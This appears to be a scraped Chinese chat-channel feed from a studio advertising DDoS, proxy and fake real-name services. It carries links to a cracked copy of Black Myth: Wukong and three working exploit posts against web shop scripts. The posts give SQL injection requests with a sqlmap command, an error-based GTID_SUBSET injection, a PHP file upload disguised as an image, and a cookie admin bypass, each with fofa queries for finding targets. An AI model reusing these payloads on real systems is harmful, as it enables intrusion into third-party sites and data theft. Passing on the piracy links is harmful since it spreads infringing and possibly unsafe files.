青山工作室 （全球静态ip 软路由搭建 代理定制 代付 代实名 国内外服务器 DDOS 靓号地址定制 发卡搭建 代开会员）

黑神话悟空 毛子学习版 https://byruthub.org/16759-black-myth-wukong.html https://pb.wtf/t/401840/ 同一个文件1.07破解版 https://qiwi.gg/file/eSnz7821-Black https://gofile.io/d/FUV7pf https://1fichier.com/?k1nfc84tyf79by6h3vy9 可以正版Steam走离线模式玩 未测试，安全性未知（ 反正有正版了（

TRX涨疯了

感觉好像一般般啊

黑神话悟空好像明天就能玩了，有没有好兄弟送我一套？

哪个大黑客把网易云打死了

分享一个设计LoGo的网站：https://www.uugai.com/?coupon=青山@QingShan088 各大担保或负责人团队都可在这里设计属于自己的LoGo 把事情做好 把项目做大 专业化管理！

14

某自动发卡网SQL注入漏洞 #代码审计 fofa："template/t1/assets/js/odometer.min.js"

POST /shop/alipay_notify.php HTTP/2Host: 127.0.0.1
Cookie: PHPSESSID=audck4dekct1clpgrqfcunre66Content-Length: 14
Cache-Control: max-age=0Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: none
Sec-Fetch-Mode: navigateSec-Fetch-Dest: document
Referer: http://127.0.0.1/shop/alipay_notify.phpAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Sec-Fetch-User: ?1
Priority: u=0, i
out_trade_no=*

python sqlmap.py -r "tracy.txt" --level=3 --dbms=mysql

某仿交易猫系统漏洞 #代码审计 fofa：header=“Location： http://www.baidu.com” & header=“Cache-Control： no-store， nocache， must-revalidate， post-check=0， pre-check=0” SQL注入

GET /dlmm/dd.php?ClickID=' AND GTID_SUBSET(CONCAT((MID((IFNULL(CAST(USER() AS NCHAR),0x20)),1))),9423)-- c HTTP/1.1 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 
Accept-Encoding: gzip, deflate, br, zstd 
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7 
Connection: keep-alive 
Cookie: PHPSESSID=bu8chm3gmcfutb01uaam0h49p1 
Host: 127.0.0.1 
Sec-Fetch-Dest: document 
Sec-Fetch-Mode: navigate 
Sec-Fetch-Site: cross-site 
Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile Safari/537.36 
sec-ch-ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123" 
sec-ch-ua-mobile: ?1 
sec-ch-ua-platform: "Android" 
sec-fetch-user: ?1

前台任意文件上传

POST /wuyun/pluploadajax.php HTTP/1.1 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 
Accept-Encoding: gzip, deflate, br, zstd 
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7 
Cache-Control: max-age=0 
Connection: keep-alive 
Content-Length: 198 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylEvfENhB9EVsJApl 
Cookie: Aname=wuyun; deviceid=1708223329907; rockkefu_deviceid=1708240409582; BJYADMIN=7ovdcsf3httsj0r6fbu10mk7l2; adminToken=a66abb5684c45962d887564f08346e8d; userName=test; userToken=05a671c66aefea124cc08b76ea6d30bb; username=mstir; passid=l5no2rmjhs4g824ry6wymx104j5dy5y24w4utq0w25mfzh34comxj8gpg02xnr5t; bbs_token=Z8NDY3CV5JTOuj7RkvnIbyzQZsstjYWW8KV1SA_3D_3D; PHPSESSID=bbd30367d9c0c0261b13b63f00ee3a3f; mysid=85817cf2ad20d5d73ecbb49c85d4b432; counter=1; vfm_1970646931=0cgkajqj3eai8i0uru3r25u823; scdb2fb5b=vhg123s7fjuvsjm0he1tfphkj6; ctcms_ctcms_uid=6b5eYtl6HyOijGDycjEGDX4onD5o1JXOP_3tY3NF; ctcms_ctcms_log=001bz5-hHo5XAymV3mrIaeOCfbt1fCrL-FlYt4fI-vKwpL2PPC_jRkqd-E9-o6v-wb53W3BQay5x7TgMsw; __51cke__=; __tins__20885247=%7B%22sid%22%3A%201711286028126%2C%20%22vd%22%3A%204%2C%20%22expires%22%3A%201711288044808%7D; __51laig__=4 
Host: 127.0.0.1 
Origin: http://127.0.0.1 
Referer: http://127.0.0.1/wuyun/pluploadajax.php 
Sec-Fetch-Dest: document 
Sec-Fetch-Mode: navigate 
Sec-Fetch-Site: none 
Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 
sec-ch-ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123" 
sec-ch-ua-mobile: ?0 
sec-ch-ua-platform: "Windows" 
sec-fetch-user: ?1 
 
------WebKitFormBoundaryzs9uzC8QeHUNQ3YS 
Content-Disposition: form-data; name="file"; filename="aaa.php" 
Content-Type: image/png 
 
<?php phpinfo();?> 
------WebKitFormBoundaryzs9uzC8QeHUNQ3YS--

后台鉴权 插入Cookie: Aname=admin 然后访问127.0.0.1/wuyun/?Admin=index

伪10-11a

新地址上架